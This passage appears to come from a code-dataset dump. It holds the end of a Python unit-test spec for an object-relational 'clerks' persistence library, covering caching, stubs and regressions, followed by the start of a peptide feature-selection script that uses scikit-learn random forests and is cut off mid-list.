pak.private.refs\n assert len(pak.refs) == 2\n\n # make sure it works with << on a fresh load too:\n newClerk = Clerk(clerk.storage, clerk.schema)\n pak = newClerk.fetch(Package, ID=1)\n assert len(pak.private.refs) == 0\n pak.refs << Content(data=\"I'm malcontent\", box=pak)\n assert len(pak.refs) == 3\n\n\n# ** using links and linksets together\n\n@testcase\ndef test_linkinjector_with_linkset(self):\n \"\"\"\n what happens if the thing we're injecting\n has a linkset of its own (this used to fail)\n \"\"\"\n\n class Kid(Strongbox):\n ID = attr(int)\n parent = link(lambda : Parent)\n\n class Parent(Strongbox):\n ID = attr(int)\n name = attr(str)\n kids = linkset(Kid, \"parent\")\n\n class Uncle(Strongbox):\n brother = link(Parent)\n\n schema = Schema({\n Kid: \"kid\",\n Kid.parent: \"parentID\",\n Parent: \"parent\",\n Uncle: \"uncle\",\n Uncle.brother: \"brotherID\",\n })\n clerk = RamClerk(schema)\n\n\n kid = Kid()\n dad = Parent(name=\"Brother Dad\")\n dad.kids << kid\n clerk.store(dad)\n\n # here, we're making a stub by hand again.\n # again, you normally don't do this by hand.\n unc = Uncle()\n unc.brother = Parent(ID=1)\n unc.brother.private.isStub = True\n unc.brother.addInjector(LinkInjector(clerk, Parent, 1).inject)\n\n ## this next line threw an AttributeError because the\n ## injector tried to include \"kids\" in the .update() call\n self.assertEquals(\"Brother Dad\", unc.brother.name)\n\n\n# * avoiding unnecessary writes: the private.isDirty flag\n\"\"\"\nEvery Strongbox has a (semi) private .isDirty flag.\nWhen this flag is set to False, the clerk will not\nbother updating the storage.\n\"\"\"\n@addMethod(ClerkTest)\ndef test_dirt(self):\n # dirty by default (already tested in strongbox)\n r = Record()\n assert r.private.isDirty\n\n # but not after a store:\n r = self.clerk.store(r)\n assert not r.private.isDirty\n\n # and not after a fetch:\n r = self.clerk.fetch(Record, ID=1)\n assert not r.private.isDirty\n\n # or a match:\n r = self.clerk.match(Record)[0]\n assert not r.private.isDirty\n\n\n@addMethod(ClerkTest)\ndef test_dirty_recursion(self):\n r = Record()\n r.next = Record()\n r.next.next = r\n assert r.private.isDirty\n assert r.next.private.isDirty\n r = self.clerk.store(r)\n assert r.ID == 2\n assert r.next.ID == 1\n\n r = self.clerk.fetch(Record, 2)\n assert not r.private.isDirty\n assert not r.next.private.isDirty\n\n\n ## and the same thing for linksets:\n n = Node()\n n.kids << Node()\n n.kids[0].kids << n\n assert n.private.isDirty\n assert n.kids[0].private.isDirty\n n = self.clerk.store(n)\n\n# * stubs\n\n@addMethod(ClerkTest)\ndef test_stub(self):\n self.clerk.store(Record(value=\"a\", next=Record(value=\"b\")))\n self.clerk.cache.clear()\n recA = self.clerk.fetch(Record, value=\"a\")\n recB = self.clerk.fetch(Record, value=\"b\")\n assert recA.next.ID == recB.ID\n assert recA.next is recB\n\n\n# * caching objects\n\"\"\"\nThe cache is there so we don't have to repeatedly request\ndata from the database.\n\n\nThe cache is currently implemented as a dictionary mapping\nclases to dictionaries of instances. That is:\n\n cache.data[Class][instance.ID] = instance\n\nThe reason for this organization is so that we can cache\nentire tables of objects at once, and can quickly scan through\nthose tables ourselves when we need to load a linkset.\n\nRight now, cache queries are limited to simple equalities.\nThat is, you can match where a particular field equals a\nparticular value, but you can't query for fields 'greater than'\nthe value.\n\nIdeally, *every* match would use these cached tables, but\nthat won't work unless we implement our own little query\nlanguage. (A start on this actually exists in storage with\nthe QueryBuilder but it doesn't currenly work with clerks.)\n\n\"\"\"\n# ** cache basics\n\"\"\"\nThe basic test of the cache: if you store something and\nfetch it back, you get the exact same instance in memory.\n\"\"\"\n@addMethod(ClerkTest)\ndef test_cached_fetch(self):\n self.clerk.store(Record(value=\"one\"))\n rec1a = self.clerk.fetch(Record, 1)\n rec1b = self.clerk.fetch(Record, 1)\n assert rec1a is rec1b\n\n n = Record()\n r = Record(next=n) \n assert self.clerk.store(r) is r\n assert self.clerk.cache[(Record, r.ID)] is r\n assert self.clerk.cache[(Record, n.ID)] is n\n assert self.clerk.cache[(Record, n.ID)] is r.next\n\n@addMethod(ClerkTest)\ndef test_cached_match(self):\n rb = self.clerk.store(Record(value=\"b\"))\n ra = self.clerk.store(Record(value=\"a\", next=rb))\n\n a,b = self.clerk.match(Record, orderBy=\"value\")\n assert a is ra\n assert b is rb\n\n# ** caching entire tables\n\n@addMethod(ClerkTest)\ndef test_cached_class(self):\n \"\"\"\n This shows that if we run cacheAll(Record)\n then we wind up with 4 records in the cache.\n and the class is noted in the cache's allCached\n dictionary.\n \"\"\"\n self.storage.store(RECORD_TABLE, value='a')\n self.storage.store(RECORD_TABLE, value='b')\n self.storage.store(RECORD_TABLE, value='c')\n self.storage.store(RECORD_TABLE, value='d')\n self.clerk.cacheAll(Record)\n assert Record in self.clerk.cache.allCached\n assert len(self.clerk.cache.data[Record].keys()) == 4\n \n \"\"\"\n Now for the kicker:\n We wipe the underlying table...\n \"\"\"\n for x in range(1,5): self.storage.delete(RECORD_TABLE, x)\n assert self.storage.match(RECORD_TABLE) == []\n\n \"\"\"\n But we can still get the object:\n \"\"\"\n a = self.clerk.matchOne(Record, value='a')\n assert a.ID == 1\n assert a.value == 'a'\n\n\n# ** linkinjectors and the cache\n\"\"\"\nHere's our basic linkinjector test again, but this\ntime, we're going to rely on the cache.\n\nWhen we call .cacheAll(Record) here, each row in the\ndatabase is converted into an object.\n\nSince we happen to be using a RamStorage for these tests,\nthe RECORD_TABLE records will be matched in the order\nthey were defined -- that's just how RamStorage works.\n\nSo imagine what happens as we cache the table:\n\n - the first record, ID=1, value='a' , nextID=2 is encountered\n - the record with ID=2 has not been seen yet, so a stub is created:\n - rec2Stub = Record(ID=2) # + injectors\n - and cached:\n - cache[Record,2] <= rec2Stub\n - the stub is added to a live object for the first row:\n - rec1 = Record(value='a', next=rec2Stub)\n - the live record is cached:\n - cache[Record,1] <= rec1\n \n - now we match the second row, with ID=2, value='a', nextID=3\n - cache[Record, 2] already exists, so we just use it:\n - rec2 = cache[Record,2]\n - we create a stub for rec3:\n - rec3stub = ...\n - since we have the live data, we can fill it in:\n - rec2.private.value='a'\n - rec2.private.next = rec3Stub\n\nAt this point we have 2 live objects and a stub.\n\nBut wait a second! What about the injectors we added to record\n2 when it was a stub? They're still there! So now, when we ask\nfor rec1.next.value ... It hits up the storage system again! All\nour caching effort was wasted.\n\nSo.. To keep that from happening, the linkinjector always checks\nto make sure the object is still a stub before it does anything.\n\n@TODO: when caching entire tables, mark them somehow so that\nthe LinkInjectors aren't added to stubs in the first place.\n\n\"\"\"\n\n@addMethod(ClerkTest)\ndef test_cached_link_injection(self):\n self.storage.store(RECORD_TABLE, value=\"a\", nextID=2)\n self.storage.store(RECORD_TABLE, value=\"b\", nextID=3)\n self.storage.store(RECORD_TABLE, value=\"c\", nextID=None)\n\n # cache the objects and drop the underlying table\n self.clerk.cacheAll(Record)\n self.storage.delete(RECORD_TABLE, 1)\n self.storage.delete(RECORD_TABLE, 2)\n self.storage.delete(RECORD_TABLE, 3)\n\n a = self.clerk.fetch(Record, 1)\n\n self.assertEquals('a', a.value)\n\n # if a.next.value fires off an injector,\n # this next line will hit the empty table and crash!\n self.assertEquals('b', a.next.value)\n self.assertEquals('c', a.next.next.value)\n assert a.next.next.next is None\n\n\n\n\n# ** linksetinjectors and the cache\n\"\"\"\nHere's the same deal for linksetinjectors\n\"\"\"\n\n@addMethod(ClerkTest)\ndef test_cached_linkset_injection(self):\n self.storage.store(NODE_TABLE, data=\"top\", parentID=None)\n self.storage.store(NODE_TABLE, data=\"a\", parentID=1)\n self.storage.store(NODE_TABLE, data=\"a.a\", parentID=2)\n self.storage.store(NODE_TABLE, data=\"b\", parentID=1)\n\n # cache and drop table\n self.clerk.cacheAll(Node)\n self.storage.delete(NODE_TABLE, 1)\n self.storage.delete(NODE_TABLE, 2)\n self.storage.delete(NODE_TABLE, 3)\n self.storage.delete(NODE_TABLE, 4)\n\n top = self.clerk.fetch(Node, 1)\n assert top.kids[0].data == \"a\"\n assert top.kids[1].data == \"b\"\n assert top.kids[1].kids == []\n assert top.kids[0].kids[0].data == \"a.a\"\n\n\n\n\n\n\n# ** speeding up linksets with cached tables\n\"\"\"\nIf we know that the entire table is cached, we can speed\nup linksets based on that table considerably.\n\nThe code that implements this is actually in LinkSetInjector.\n\"\"\"\n@testcase\ndef test_cached_linksets(test):\n\n class Parent(Strongbox):\n ID = attr(int)\n value = attr(str)\n kids = linkset((lambda : Child), \"parent\")\n\n class Child(Strongbox):\n ID = attr(int)\n value = attr(str)\n parent = link(Parent)\n\n child_table = 'ct'\n parent_table = 'pt'\n schema = Schema({\n Parent : parent_table,\n Child : child_table,\n Child.parent : \"parentID\",\n })\n\n storage = RamStorage()\n clerk = Clerk(storage, schema)\n\n # set up our data:\n \n storage.store(parent_table, value='big_daddy')\n \n storage.store(child_table, value='a', parentID=0)\n storage.store(child_table, value='b', parentID=1)\n storage.store(child_table, value='c', parentID=1)\n storage.store(child_table, value='d', parentID=0)\n\n\n # Note: we could do this first:\n # big_daddy = clerk.fetch(Parent, 1)\n # *BUT* there used to be a case where\n # doing this first caused the test to pass\n # and doing it later caused the test to fail.\n # so... do it later to expose the bug.\n\n\n # cache it:\n clerk.cacheAll(Child)\n\n assert Parent.kids.back ==\"parent\"\n assert Parent.kids.type == Child\n assert Child in clerk.cache.allCached\n assert Child not in clerk.cache.index\n\n # delete the underlying data, so there's no confusion\n for x in range(1,5):\n storage.delete(child_table, x)\n\n # grab the parent:\n big_daddy = clerk.fetch(Parent, 1)\n\n # note the parent is a stub:\n assert big_daddy.private.value == ''\n assert len(big_daddy.private.kids)==0\n \n\n # the stub is associated with the cached child objects\n test.assertEquals(4, len(clerk.cache.data[Child].values()))\n child2 = clerk.cache.data[Child][2]\n assert child2.parent is big_daddy\n\n\n # the stub should have two injectors:\n # a linkinjector (to fill in its own data)\n # and a linkset injector (for .kids)\n test.assertEquals(2, len(big_daddy.private.injectors))\n\n\n # now this should pull the data out of the cache:\n test.assertEquals(2, len(big_daddy.kids))\n\n\n # but note that it is *still* a stub!!\n assert big_daddy.private.value == ''\n\n\n# ** indexing the cache by a column\n\"\"\"\nThe above is all well and good, but if the underlying\ndatabase has an index on the foreign key, it's probably\ngot very near an O(1) lookup, and and our lookups are\ngoing to be O(n) because we're looping through n records\nevery time we build a linkset.\n\nWe need to do what the database does, and index the cache.\n\"\"\"\n@addMethod(ClerkTest)\ndef test_cache_hash(self):\n\n self.storage.store(NODE_TABLE, data='root', parentID=0)\n self.storage.store(NODE_TABLE, data='1a', parentID=1)\n self.storage.store(NODE_TABLE, data='1b', parentID=1)\n self.storage.store(NODE_TABLE, data='1c', parentID=1)\n self.storage.store(NODE_TABLE, data='2a', parentID=2)\n self.storage.store(NODE_TABLE, data='2b', parentID=2)\n self.storage.store(NODE_TABLE, data='2c', parentID=2)\n\n self.clerk.cacheAll(Node, index=['data','parent'])\n\n n1a = self.clerk.cache.index[Node]['data']['1a'][0]\n assert n1a.data == '1a'\n\n p1 = n1a.parent\n assert p1.ID == 1\n \n #import pdb; pdb.set_trace()\n self.assertEquals(3, len(self.clerk.cache.index[Node]['parent'][p1.ID]))\n \n\n\n# ** linksetinjectors and the cache\n\"\"\"\nHere we're doing the same thing as test_linkset_injection\nand test_cached_linkset_injection, but now, we're going to\nindex the .parent backlink.\n\nWhy would indexing potentially make a difference?\n\nWell, the LinkSetInjector takes a completely different execution\npath when the field in question is indexed: instead of searching\nthrough the cached table, it goes directly to the index.\n\n\"\"\"\n\n@addMethod(ClerkTest)\ndef test_indexed_linkset_injection(self):\n self.storage.store(NODE_TABLE, data=\"top\", parentID=None)\n self.storage.store(NODE_TABLE, data=\"a\", parentID=1)\n self.storage.store(NODE_TABLE, data=\"a.a\", parentID=2)\n self.storage.store(NODE_TABLE, data=\"b\", parentID=1)\n\n # cache and drop table\n self.clerk.cacheAll(Node, index=['parent'])\n self.storage.delete(NODE_TABLE, 1)\n self.storage.delete(NODE_TABLE, 2)\n self.storage.delete(NODE_TABLE, 3)\n self.storage.delete(NODE_TABLE, 4)\n\n index = self.clerk.cache.index[Node]['parent']\n\n # the index should have keys for each parentID\n assert type(index) is dict\n assert 1 in index\n assert 2 in index\n assert 3 not in index\n assert None in index # though we should probably use 0\n\n # the index should have two entries:\n assert len(index[1]) == 2\n assert index[1][0].data == 'a'\n assert index[1][1].data == 'b'\n\n # and that's exactly what we want when we ask for top.kids\n top = self.clerk.fetch(Node, 1)\n assert top.kids[0].data == \"a\"\n assert top.kids[1].data == \"b\"\n assert top.kids[1].kids == []\n assert top.kids[0].kids[0].data == \"a.a\"\n\n \n\n# * callbacks\n\"\"\"\nCallbacks allow you to fire off arbitrary code whenever\nyou store an instance of a particular class.\n\nFor example, one application of this is to add the object's\ncontent to a secondary data store (such as a local search\nengine index).\n\"\"\"\n\n@testcase\ndef test_callbacks(self):\n\n class Thing(Strongbox):\n ID = attr(int)\n x = attr(str)\n\n class OtherThing(Strongbox):\n ID = attr(int)\n x = attr(str)\n\n queue = []\n schema = Schema({\n Thing: \"thing\",\n OtherThing: \"other\",\n })\n\n clerk = CallbackClerk(RamStorage(), schema)\n clerk.onStore(Thing, queue.append)\n\n clerk.store(Thing(x=\"a\"))\n clerk.store(Thing(x=\"b\"))\n clerk.store(OtherThing(x=\"not me\"))\n\n\n queue2 = []\n clerk.onStore(Thing, queue2.append)\n clerk.store(Thing(x=\"c\"))\n\n # \"c\" should wind up in both:\n assert len(queue) == 3\n assert \"\".join([t.x for t in queue]) == \"abc\"\n\n assert len(queue2) == 1\n assert queue2[0].x==\"c\"\n\n\n\n# * schema objects\n\"\"\"\nThe Schema class has a number of utility methods\nused internally by the clerks module:\n\"\"\"\n\n@testcase\ndef test_schema(self):\n\n class Loop(Strongbox):\n next = link(lambda : Loop)\n tree = linkset((lambda : Loop), \"next\")\n\n s = Schema({\n Loop: \"loop_table\",\n Loop.next: \"nextID\",\n })\n assert s.tableForClass(Loop) == \"loop_table\"\n assert s.columnForLink(Loop.next) == \"nextID\"\n\n # it should be smart enough to infer the\n # links, but note that first have to clear out\n # the lambdas by actually instantiating a Loop\n # @TODO: should schema clear the lambda for us?\n x = Loop()\n assert s.tableForLink(Loop.next) == \"loop_table\"\n assert s.tableForLinkSet(Loop.tree) == \"loop_table\"\n assert s.columnForLinkSet(Loop.tree) == \"nextID\"\n\n\n\n# * appendix: regression tests\n\"\"\"\nThese are some more complicated tests and scenarios that\nexposed bugs in the past.\n\"\"\"\n\n@testcase\ndef disappearing_events_regression_test(self):\n \"\"\"\n This bug came from duckbill. A subscription\n would post events to its account, and then\n when it showed the statement, the new events\n would be the only ones to show up - even though\n there were still others in the database.\n\n Turns out the problem was that the sub.account\n stub didn't have injectors on ITS dependent\n objects. That's why I now replace .private\n in LinkInjector.inject()\n \"\"\"\n class Evt(Strongbox):\n ID = attr(int)\n evt = attr(str)\n acc = link(lambda : Acc)\n class Sub(Strongbox):\n ID = attr(int)\n acc = link(lambda : Acc)\n class Acc(Strongbox):\n ID = attr(int)\n subs = linkset(Sub, \"acc\")\n evts = linkset(Evt, \"acc\")\n schema = Schema({\n Evt:\"evt\",\n Sub:\"sub\",\n Acc:\"acc\",\n Evt.acc: \"accID\",\n Sub.acc: \"accID\",\n })\n st = RamStorage()\n c1 = Clerk(st, schema)\n\n # store an account with two events and one sub:\n a = Acc()\n a.evts << Evt(evt=\"1\")\n a.evts << Evt(evt=\"2\")\n assert a.private.isDirty\n a.subs << Sub()\n c1.DEBUG = 1\n c1.store(a)\n\n # new clerk, new cache:\n c2 = Clerk(st, schema)\n\n # add more events while s.acc is a stub\n s = c2.fetch(Sub, ID=1)\n assert s.private.isDirty==False\n assert len(s.acc.evts) == 2, [e.evt for e in s.acc.evts]\n s.acc.evts << Evt(evt=\"3\")\n #assert len(s.acc.evts) == 1, [e.evt for e in s.acc.evts]\n assert len(s.acc.evts) == 3, [e.evt for e in s.acc.evts]\n c2.DEBUG = 0\n c2.store(s)\n a2 = c2.fetch(Acc, ID=a.ID)\n\n assert a is not a2\n\n # we should now have all three events,\n # but we were getting only the third one:\n assert len(a2.evts) == 3, [e.evt for e in a2.evts]\n \n\n@testcase\ndef complex_recursion_regression_test(self):\n \"\"\"\n test case from cornerhost that exposed a bug.\n\n Basically it sets up several classes that refer\n to each other in a loop and makes sure it's\n possible to save them without infinite recursion.\n\n @TODO: isInstance(LinkSetInjector) in Clerk.py\n needs tests It ought to do some kind of polymorphism\n magic anyway.\n\n @TODO: huh?? :)\n \"\"\"\n\n class User(Strongbox):\n ID = attr(int)\n username = attr(str)\n domains = linkset((lambda : Domain),\"user\")\n sites = linkset((lambda : Site),\"user\")\n class Domain(Strongbox):\n ID = attr(int)\n user = link(User)\n name = attr(str)\n site = link(lambda : Site) \n class Site(Strongbox):\n ID = attr(int)\n user = link(User)\n domain = link(Domain)\n dbMap = Schema({\n User:\"user\",\n Domain:\"domain\",\n Domain.user: \"userID\",\n Domain.site: \"siteID\",\n Site:\"site\",\n Site.user: \"userID\",\n Site.domain: \"domainID\",\n })\n\n clerk = Clerk(RamStorage(), dbMap)\n u = clerk.store(User(username=\"ftempy\"))\n u = clerk.match(User,username=\"ftempy\")[0]\n d = clerk.store(Domain(name=\"ftempy.com\", user=u))\n assert d.user, \"didn't follow link before fetch\"\n d = clerk.match(Domain, name=\"ftempy.com\")[0]\n\n # the bug was here: it only happened if User had .domains\n # I think because it was a linkset, and the linkset had\n # an injector. Fixed by inlining the injector test into\n # Clekr.store:\n assert d.user, \"didn't follow link after fetch\"\n assert d.user.ID == u.ID\n\n # ah, but then we had an infinite recursion problem\n # with site, but I fixed that with private.isDirty:\n d.site = clerk.store(Site(domain=d))\n d = clerk.store(d)\n assert d.site.domain.name == \"ftempy.com\"\n\n # and again here:\n d = clerk.fetch(Domain, 1)\n assert not d.private.isDirty\n assert not d.site.private.isDirty # this failed.\n clerk.store(d) # so this would recurse forever\n\n\n\n@testcase\ndef dirty_stub_regression(self):\n \"\"\"\n Here's a situation where we have a stub in memory\n and we're modifying the stub.\n\n That should be fine, except at one point, writing to\n the stub didn't fill in the stub first. It should!\n \n You want to fetch the old data, THEN merge in the new data,\n so you can save the entire record to the database.\n\n Problem was that we weren't firing off injectors for\n strongbox.onSet()\n \"\"\"\n class Other(Strongbox):\n ID = attr(int)\n fname = attr(str)\n mname = attr(str)\n lname = attr(str)\n things = linkset((lambda: Thing), \"other\")\n \n class Thing(Strongbox):\n ID = attr(int)\n other = link(Other)\n data = attr(str)\n \n dbMap = Schema({Thing: \"thing\", Other: \"other\", Thing.other: \"otherID\"})\n store = RamStorage()\n \n clerkA = Clerk(store, dbMap)\n top = Other(fname=\"wanda\", mname=\"jane\", lname=\"tempy\")\n top.things << Thing(data=\"abc\")\n clerkA.store(top)\n del clerkA\n\n clerkB = Clerk(store, dbMap)\n thing = clerkB.fetch(Thing, 1)\n other = thing.other\n assert other.private.isStub\n assert not other.private.isDirty\n\n other.fname = \"fred\"\n assert other.private.isDirty\n assert not hasattr(other.private, \"isStub\"), \"uh-oh. a dirty stub!\"\n\n other.mname = \"patrick\"\n\n # and of course we still want the change to go through!\n assert other.lname == \"tempy\"\n assert other.fname == \"fred\"\n assert other.mname == \"patrick\"\n \n\n# * unit test runner\n\nif __name__==\"__main__\":\n unittest.main()\n","repo_name":"tangentstorm/workshop","sub_path":"specs/clerks_spec.py","file_name":"clerks_spec.py","file_ext":"py","file_size_in_byte":39247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22433209755","text":"# recursively reduce features,\n# the training set will not differs when eliminating\n\nimport copy\nimport os\nimport pickle\nimport time\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.feature_selection import RFECV\nfrom sklearn.metrics import r2_score\nfrom sklearn.model_selection import train_test_split, StratifiedKFold\nfrom matplotlib import pyplot as plt\nfrom sklearn.base import clone\n\n\ndef save_object(obj, filename):\n with open(filename, 'wb') as outp: # Overwrites any existing file.\n pickle.dump(obj, outp, pickle.HIGHEST_PROTOCOL)\n\n\ndef load_object(filename):\n with open(filename, 'rb') as inp:\n data = pickle.load(inp)\n return data\n\n\ndef read_in_scores(score_file):\n # read in scores from file\n df_s = pd.read_csv(score_file, sep=',')\n print('finish read in scores: ---------------')\n print(df_s)\n return df_s\n\n\ndef preprocess_scores(df_s, df_s_file):\n print('preprocessing scores: ---------------')\n\n print('drop the first column (the added index column)')\n df_s.drop(df_s.columns[0], axis=1, inplace=True)\n # print(df_s)\n\n print('set peptide_formula as key, in order to inner join with peptide_features later')\n df_s.set_index(['peptide'], inplace=True)\n\n print('save df_s to ' + df_s_file)\n save_object(df_s, df_s_file)\n\n print(df_s)\n\n return df_s\n\n\ndef read_in_features(feature_file, chunksize=-1):\n # read in features from file\n if chunksize < 0:\n df_f = pd.read_csv(feature_file, sep='\\t')\n else:\n print('read in drangon data by chunks, will create a whole dataframe for it ---------------')\n features = pd.read_csv(feature_file, sep='\\t', chunksize=chunksize)\n chunkIndex = 1\n df_f = pd.DataFrame()\n for chunk in features:\n df_f = df_f.append(chunk)\n print(\"have read in \" + str(chunkIndex * chunksize) + \" lines in dragon.txt\")\n chunkIndex += 1\n\n print('finish read in features: ---------------')\n print(df_f)\n return df_f\n\n\ndef preprocess_features(df_f, df_f_file='../saved data/df_f', need_save=True):\n print('preprocessing features: ---------------')\n print(\"replace NaN and 'na' with 0\")\n df_f.fillna(0, inplace=True)\n df_f.replace('na', 0, inplace=True)\n\n print(\"drop column 'No.'\")\n df_f.drop(['No.'], axis=1, inplace=True)\n\n print(\"delete '_Peptide ' in 'Name' column\")\n df_f['NAME'] = df_f.apply(lambda x: x['NAME'][9:], axis=1)\n\n print('set peptide_formula as key, in order to inner join with peptide_scores later')\n df_f.set_index(['NAME'], inplace=True)\n\n if need_save:\n print('save df_f to ' + df_f_file)\n save_object(df_f, df_f_file)\n\n print(df_f)\n\n return df_f\n\n\ndef merge_score_and_feature(df_s, df_f):\n df_dataset = pd.merge(df_s, df_f, left_index=True, right_index=True)\n print('finish inner join of scores and features: ---------------')\n print(df_dataset)\n return df_dataset\n\n\ndef data_screening(df_dataset, df_dataset_file):\n print('preprocessing the dataset: ---------------')\n # check data type of each column\n # pd.set_option('display.max_rows', 6000)\n # print(df_dataset.dtypes)\n\n print(\"cast int into float, or dtype of a column may be object\")\n df_dataset = df_dataset.astype('float64')\n # print(df_dataset.dtypes)\n\n print('delete the columns has only one value')\n df_dataset.drop(df_dataset.columns[df_dataset.std(ddof=0) == 0], axis=1, inplace=True)\n\n print('delete duplicate columns')\n df_dataset = df_dataset.T.drop_duplicates().T\n\n print('save df_dataset to ' + df_dataset_file)\n save_object(df_dataset, df_dataset_file)\n\n print(df_dataset)\n return df_dataset\n\n\ndef generate_dataset(need_init_dataset=False, need_init_score=False, need_init_feature=False, chunk_size=50000,\n score_file='../input files/score.csv', feature_file=\"../input files/all_dragon.txt\",\n saveDataFolder=\"../saved data\", df_s_file='../saved data/df_s', df_f_file='../saved data/df_f',\n df_dataset_file='../saved data/df_dataset'):\n \"\"\"\n * This function includes\n - reading in and preprocessing the dataframe of scores(df_s) and features(df_f), and\n - deleting useless columns in the dataframe that made from inner joining df_s and df_f to get df_dataset.\n * Purpose of this function\n - to generate a proper dataset(df_dataset) for training and predicting later\n * Structure:\n - If need_init_dataset is set to False, which means df_dataset has been made, and then all that need to be done\n is just load df_dataset from saved data.\n - If need_init_dataset is set to be true, it will depends on the values of need_init_score and\n need_init_feature to decide whether to preprocess or to just load in the df_s and df_f.\n\n :parameter:\n - data loading options (boolean) :\n need_init_dataset, need_init_score, need_init_feature, chunk_size(for read in features, read in all if negative)\n - path of input files (string) :\n score_file, feature_file\n - path to store data (string) :\n saveDataFolder, df_s_file, df_f_file, df_dataset_file\n\n :return:\n df_dataset:\n a dataframe contains the score and chemical features of different peptides\n \"\"\"\n \"\"\"\n create needed output folder\n \"\"\"\n if not os.path.exists(saveDataFolder):\n os.makedirs(saveDataFolder)\n\n if need_init_dataset:\n \"\"\"\n create the dataframe of scores \n \"\"\"\n if need_init_score:\n df_s = read_in_scores(score_file)\n df_s = preprocess_scores(df_s, df_s_file)\n else:\n df_s = load_object(df_s_file)\n print('finish load scores: ---------------')\n print(df_s)\n\n \"\"\"\n create the dataframe of features\n \"\"\"\n if need_init_feature:\n df_f = read_in_features(feature_file, chunk_size) # still cannot be read in once for all on the server\n df_f = preprocess_features(df_f, df_f_file)\n else:\n df_f = load_object(df_f_file)\n print('finish load features: ---------------')\n print(df_f)\n\n \"\"\"\n create dataset by join and screen\n \"\"\"\n df_dataset = merge_score_and_feature(df_s, df_f)\n df_dataset = data_screening(df_dataset, df_dataset_file)\n else:\n df_dataset = load_object(df_dataset_file)\n print('finish load the dataset: ---------------')\n print('shape: ' + str(df_dataset.shape))\n # print(df_dataset)\n\n # print('size of [#pep, #label+feature]: '+str(df_dataset.shape))\n print('distribution of labels: ------')\n print(df_dataset['score'].value_counts())\n\n return df_dataset\n\n\ndef draw_score_against_length(df_dataset, score_length_pic='../saved data/score_length_pic', score_label='score'):\n \"\"\"\n Will draw a picture of peptides' length against their score and save it\n :param df_dataset: dataframe, should have the peptides as index and a column storing score\n :param length_score_pic: string, path to save the picture\n :param score_label: string, the name of the score column\n :return: df_ls, a dataframe of peptides' score and length, sorted by length\n \"\"\"\n # extract the score\n df_ls = pd.DataFrame(df_dataset, columns=[score_label])\n\n # record the length of each peptide (the index)\n df_ls['length'] = df_ls.apply(lambda x: len(str(x.name)), axis=1)\n\n # sort by length\n df_ls.sort_values(by='length', inplace=True)\n\n # print(df_ls)\n plt.figure()\n plt.xlabel(\"length\")\n plt.ylabel(\"score\")\n plt.plot(df_ls['length'], df_ls['score'], '.')\n plt.savefig(score_length_pic)\n\n print(\"finish drawing scores against length ---------------\")\n return df_ls\n\n\ndef split_dateset(df_dataset, test_size=0.25, label='score'):\n \"\"\"\n :param df_dataset: Dataframe, index=peptides, columns=score+fetures\n :param test_size: float, (0,1)\n :param label: string, ['score'] column name\n :return: X_train, y_train, X_test, y_test\n \"\"\"\n train, test = train_test_split(df_dataset, test_size=test_size)\n y_train = train[label]\n X_train = train.drop(label, 1)\n\n # sort test set by score\n test = test.sort_values(by=[label])\n y_test = test[label]\n X_test = test.drop(label, 1)\n\n return X_train, y_train, X_test, y_test\n\n\ndef recursive_feature_elimination(X_train, y_train, X_test, y_test, estimator, rfe_dict,\n origin_n_features, target_n_features,\n save_rfe_dict=True, save_data_folder='../saved data',\n draw_prediction_pic=True, save_pic_folder='../saved data/rfe prediction/'):\n \"\"\"\n Altered from sklean rfe.\n Will reduce features from origin_n_features to target_n_features\n Use rfe_dict[origin_n_features]['support'], rfe_dict[origin_n_features]['ranking'] to\n - calculate rfe_dict[origin_n_features]['score'] (r2_score <= 1)\n - generate rfe_dict[target_n_features]['support'], rfe_dict[target_n_features]['ranking']\n\n :param\n estimator: random forest regressor\n origin_n_features: int, an existing key in rfe_dict\n target_n_features: int, smaller than origin_n_features\n\n :return:\n rfe_dict: dictionary, storing masks for features (support), feature ranking (most important : 1), r2_score on test\n set (default to 9999, should be no larger than 1)\n n_features: {'support': [], 'ranking': [], 'score': 9999}\n How to use:\n indices of needed features:\n support = rfe_dict[target_n_features]['support']\n features = np.arange(n_all_features)[support]\n Select these features in test set:\n X_test.iloc[:, features], y_test\n \"\"\"\n print()\n n_features = X_train.shape[1]\n n_training_samples = X_train.shape[0]\n support = copy.deepcopy(rfe_dict[origin_n_features]['support'])\n ranking = copy.deepcopy(rfe_dict[origin_n_features]['ranking'])\n estimator = clone(estimator)\n\n features = np.arange(n_features)[support]\n\n print('Fitting the estimator, n_features = ' + str(origin_n_features))\n print('Preparing reducing to ' + str(target_n_features))\n estimator.fit(X_train.iloc[:, features], y_train)\n print('predicting ---')\n y_ = estimator.predict(X_test.iloc[:, features])\n score = r2_score(y_test, y_)\n rfe_dict[origin_n_features]['score'] = score\n print('r2_score: ' + str(score))\n\n importances = estimator.feature_importances_\n ranks = np.argsort(importances) # sort the indices\n threshold = origin_n_features - target_n_features\n support[features[ranks][:threshold]] = False # set the unneeded features to false\n ranking[np.logical_not(support)] += 1\n\n rfe_dict[target_n_features] = {'support': support, 'ranking': ranking, 'score': 9999}\n print([sum(rfe_dict[k]['support']) for k in rfe_dict])\n if save_rfe_dict:\n save_object(rfe_dict, save_data_folder + '/rfe_dict')\n print('have saved rfe_dict_' + str(n_training_samples))\n\n if draw_prediction_pic:\n if not os.path.exists(save_pic_folder):\n os.makedirs(save_pic_folder)\n plt.figure()\n plt.title('n_features = ' + str(origin_n_features))\n plt.xlabel('peptides')\n plt.ylabel('score')\n x = range(len(y_test))\n plt.scatter(x, y_)\n plt.scatter(x, y_test)\n plt.savefig(save_pic_folder + '/' + str(origin_n_features))\n print('finish drawing prediction pictures')\n\n return rfe_dict\n\n\ndef main():\n \"\"\" \"\"\"\n start = time.perf_counter()\n print()\n\n \"\"\"\n parameters\n \"\"\"\n # data loading options\n need_init_dataset = False\n need_init_score = True\n need_init_feature = True\n chunk_size = 50000\n\n # input files\n score_file = '../input files/score.csv'\n feature_file = \"../input files/all_dragon.txt\"\n\n # save path\n base = '../saved data/'+ os.path.basename(__file__).split('.')[0]\n save_data_folder = base\n df_s_file = base + '/df_s' # df_s is a dataframe transformed from score.csv\n df_f_file = base+'/df_f' # df_f is a dataframe transformed from all_dragon.txt\n df_dataset_file = base + '/df_dataset'\n\n need_score_length_pic = False\n\n data_portion = 0.003 # (0,1], set to 1 if using all the peptides\n save_dataset_dict = True\n\n # training\n n = [1907, 1000, 700, 500, 400, 300, 200, 100, 70, 60, 50, 40, 